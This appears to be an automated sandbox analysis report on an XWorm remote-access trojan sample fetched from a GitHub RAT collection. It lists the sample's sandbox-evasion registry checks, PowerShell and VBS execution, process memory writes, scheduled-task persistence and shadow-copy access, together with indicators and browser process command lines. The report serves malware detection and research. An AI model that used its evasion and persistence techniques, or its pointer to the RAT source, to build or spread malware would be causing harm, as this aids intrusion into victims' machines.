xworm | hxxps://github[.]com/Cryakl/Ultimate-RAT-Collection/tree/main/XWorm/Mods/XWorm%20Enhanced%20V6[.]5[.]1

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Oracle\VirtualBox Guest Additions	XWorm.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

defense_evasion

Query Registry

Virtualization/Sandbox Evasion

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\VMware, Inc.\VMware Tools	XWorm.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	XWorm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	XWorm.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000\Control Panel\International\Geo\Nation	XWormEnhancedClient.exe

Executes dropped EXE 2 IoCs

pid	Process
1020	XWorm.exe
3084	XWormEnhancedClient.exe

Uses the VBS compiler for execution 1 TTPs

Command and Scripting Interpreter
T1059

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2104	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
84	raw.githubusercontent.com
40	raw.githubusercontent.com
41	raw.githubusercontent.com
43	raw.githubusercontent.com

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	XWorm.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	XWorm.exe

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SystemTemp	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4068	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	msedge.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	XWorm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	XWorm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	XWorm.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134272202046642622"	msedge.exe

Modifies registry class 54 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU	XWorm.exe
Key created	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1	XWorm.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\MRUListEx = 0100000000000000ffffffff	XWorm.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1 = 14002e8005398e082303024b98265d99428e115f0000	XWorm.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\MRUListEx = 00000000ffffffff	XWorm.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\0\MRUListEx = ffffffff	XWorm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell\SniffedFolderType = "Generic"	XWorm.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\MRUListEx = 0100000000000000ffffffff	XWorm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\0\NodeSlot = "5"	XWorm.exe
Key created	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg	XWorm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\LogicalViewMode = "1"	XWorm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\IconSize = "16"	XWorm.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0a00000001000000	XWorm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupView = "0"	XWorm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1"	XWorm.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 0202020202	XWorm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\FFlags = "1092616257"	XWorm.exe
Key created	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}	XWorm.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 02020202	XWorm.exe
Key created	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1	XWorm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{4336a54d-038b-4685-ab02-99bb52d3fb8b}\Instance\	XWorm.exe
Key created	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}	XWorm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:FMTID = "{00000000-0000-0000-0000-000000000000}"	XWorm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByDirection = "1"	XWorm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\LogicalViewMode = "1"	XWorm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1092616257"	XWorm.exe
Key created	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings	XWorm.exe
Key created	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell	XWorm.exe
Key created	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\Shell	XWorm.exe
Key created	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5	XWorm.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\NodeSlots = 020202020202	XWorm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\Mode = "4"	XWorm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\SniffedFolderType = "Downloads"	XWorm.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\0 = 7600310000000000905c4493100058574f524d457e312e3100005c0009000400efbedd5cfa7add5cfa7a2e0000001285020000000700000000000000000000000000000058178500580057006f0072006d00200045006e00680061006e006300650064002000760036002e0035002e00310000001a000000	XWorm.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	XWorm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\5\ComDlg\{5C4F28B5-F869-4E84-8E60-F11DB97C5CC7}\GroupByKey:PID = "0"	XWorm.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Sort = 000000000000000000000000000000000100000030f125b7ef471a10a5f102608c9eebac0e000000ffffffff	XWorm.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\ColInfo = 00000000000000000000000000000000fddfdffd100000000000000000000000040000001800000030f125b7ef471a10a5f102608c9eebac0a0000001001000030f125b7ef471a10a5f102608c9eebac0e0000009000000030f125b7ef471a10a5f102608c9eebac040000007800000030f125b7ef471a10a5f102608c9eebac0c00000050000000	XWorm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:FMTID = "{B725F130-47EF-101A-A5F1-02608C9EEBAC}"	XWorm.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1108628292-2849104889-3743975892-1000\{9DEB6F58-13EA-4E44-BAD8-D7BA0AC6A190}	msedge.exe
Key created	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\0	XWorm.exe
Key created	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags	XWorm.exe
Key created	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell	XWorm.exe
Key created	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg	XWorm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\IconSize = "16"	XWorm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupView = "4294967295"	XWorm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\FFlags = "1"	XWorm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\BagMRU\1\1\NodeSlot = "6"	XWorm.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\Shell\KnownFolderDerivedFolderType = "{885A186E-A440-4ADA-812B-DB871B942259}"	XWorm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\Mode = "4"	XWorm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByKey:PID = "14"	XWorm.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6\ComDlg\{885A186E-A440-4ADA-812B-DB871B942259}\GroupByDirection = "4294967295"	XWorm.exe
Key created	\REGISTRY\USER\S-1-5-21-1108628292-2849104889-3743975892-1000_Classes\Local Settings\Software\Microsoft\Windows\Shell\Bags\6	XWorm.exe

Suspicious behavior: EnumeratesProcesses 39 IoCs

pid	Process
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
1020	XWorm.exe
5112	msedge.exe
5112	msedge.exe
2104	powershell.exe
2104	powershell.exe
2104	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1020	XWorm.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeRestorePrivilege	4864	7zG.exe
Token: 35	4864	7zG.exe
Token: SeSecurityPrivilege	4864	7zG.exe
Token: SeSecurityPrivilege	4864	7zG.exe
Token: SeDebugPrivilege	1020	XWorm.exe
Token: SeDebugPrivilege	3084	XWormEnhancedClient.exe
Token: SeDebugPrivilege	2104	powershell.exe

Suspicious use of FindShellTrayWindow 44 IoCs

pid	Process
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4864	7zG.exe
1020	XWorm.exe

Suspicious use of SendNotifyMessage 33 IoCs

pid	Process
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
4776	msedge.exe
1020	XWorm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1020	XWorm.exe

Suspicious use of WriteProcessMemory 39 IoCs

description	pid	Process	procid_target
PID 4776 wrote to memory of 3104	4776	msedge.exe	84
PID 4776 wrote to memory of 4068	4776	msedge.exe	85
PID 4776 wrote to memory of 3488	4776	msedge.exe	86
PID 4776 wrote to memory of 3488	4776	msedge.exe	86
PID 4776 wrote to memory of 3488	4776	msedge.exe	86
PID 4776 wrote to memory of 5068	4776	msedge.exe	88
PID 4776 wrote to memory of 5068	4776	msedge.exe	88
PID 4776 wrote to memory of 4532	4776	msedge.exe	89
PID 4776 wrote to memory of 3760	4776	msedge.exe	90
PID 4776 wrote to memory of 4532	4776	msedge.exe	89
PID 4776 wrote to memory of 4532	4776	msedge.exe	89
PID 4776 wrote to memory of 3760	4776	msedge.exe	90
PID 4776 wrote to memory of 3760	4776	msedge.exe	90
PID 4776 wrote to memory of 3772	4776	msedge.exe	91
PID 4776 wrote to memory of 4064	4776	msedge.exe	92
PID 4776 wrote to memory of 3772	4776	msedge.exe	91
PID 4776 wrote to memory of 3772	4776	msedge.exe	91
PID 4776 wrote to memory of 4064	4776	msedge.exe	92
PID 4776 wrote to memory of 4064	4776	msedge.exe	92
PID 4776 wrote to memory of 4808	4776	msedge.exe	96
PID 4776 wrote to memory of 3628	4776	msedge.exe	97
PID 4776 wrote to memory of 4808	4776	msedge.exe	96
PID 4776 wrote to memory of 3628	4776	msedge.exe	97
PID 4776 wrote to memory of 1948	4776	msedge.exe	101
PID 4776 wrote to memory of 2616	4776	msedge.exe	107
PID 4776 wrote to memory of 2836	4776	msedge.exe	108
PID 4776 wrote to memory of 2616	4776	msedge.exe	107
PID 4776 wrote to memory of 2836	4776	msedge.exe	108
PID 4776 wrote to memory of 2836	4776	msedge.exe	108
PID 4776 wrote to memory of 792	4776	msedge.exe	109
PID 4776 wrote to memory of 2432	4776	msedge.exe	113
PID 4776 wrote to memory of 2704	4776	msedge.exe	114
PID 4776 wrote to memory of 1296	4776	msedge.exe	115
PID 4776 wrote to memory of 2096	4776	msedge.exe	121
PID 4776 wrote to memory of 2096	4776	msedge.exe	121
PID 4776 wrote to memory of 5112	4776	msedge.exe	125
PID 1020 wrote to memory of 3592	1020	XWorm.exe	126
PID 3592 wrote to memory of 1940	3592	vbc.exe	128
PID 3084 wrote to memory of 2104	3084	XWormEnhancedClient.exe	130

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --disable-default-apps --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://github.com/Cryakl/Ultimate-RAT-Collection/tree/main/XWorm/Mods/XWorm%20Enhanced%20V6.5.1
1⤵
- Drops file in Windows directory
- Checks processor information in registry
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4776
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x260,0x264,0x268,0x25c,0x288,0x7ff81122c188,0x7ff81122c194,0x7ff81122c1a0
  2⤵
  PID:3104
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1792,i,11401090274727507714,12021623440672392768,524288 --field-trial-handle=2212,i,9188668415394467286,10915947575541716677,262144 --variations-seed-version --mojo-platform-channel-handle=2248 /prefetch:3
  2⤵
  - System Time Discovery
  PID:4068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1664,i,17784119256942456940,523264860827955721,262144 --field-trial-handle=2212,i,9188668415394467286,10915947575541716677,262144 --variations-seed-version --mojo-platform-channel-handle=2208 /prefetch:2
  2⤵
  PID:3488
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2576,i,1705737508629082365,14927748118335292404,524288 --field-trial-handle=2212,i,9188668415394467286,10915947575541716677,262144 --variations-seed-version --mojo-platform-channel-handle=2708 /prefetch:8
  2⤵
  PID:5068
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3388,i,15226690993454088129,13365803873632727721,2097152 --field-trial-handle=2212,i,9188668415394467286,10915947575541716677,262144 --variations-seed-version --mojo-platform-channel-handle=3464 /prefetch:1
  2⤵
  PID:4532
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3392,i,15707020402892998173,11133860210193298896,2097152 --field-trial-handle=2212,i,9188668415394467286,10915947575541716677,262144 --variations-seed-version --mojo-platform-channel-handle=3468 /prefetch:1
  2⤵
  PID:3760
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4168,i,245140196128217569,8054209159046330646,2097152 --field-trial-handle=2212,i,9188668415394467286,10915947575541716677,262144 --variations-seed-version --mojo-platform-channel-handle=4236 /prefetch:1
  2⤵
  PID:3772
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4180,i,14870686299483317182,13467323888212133424,2097152 --field-trial-handle=2212,i,9188668415394467286,10915947575541716677,262144 --variations-seed-version --mojo-platform-channel-handle=4304 /prefetch:2
  2⤵
  PID:4064
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5192,i,3258519130961327812,4151571580930909618,524288 --field-trial-handle=2212,i,9188668415394467286,10915947575541716677,262144 --variations-seed-version --mojo-platform-channel-handle=5208 /prefetch:8
  2⤵
  PID:4808
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5196,i,1468527743739245575,204795331574550860,524288 --field-trial-handle=2212,i,9188668415394467286,10915947575541716677,262144 --variations-seed-version --mojo-platform-channel-handle=5232 /prefetch:8
  2⤵
  PID:3628
- C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
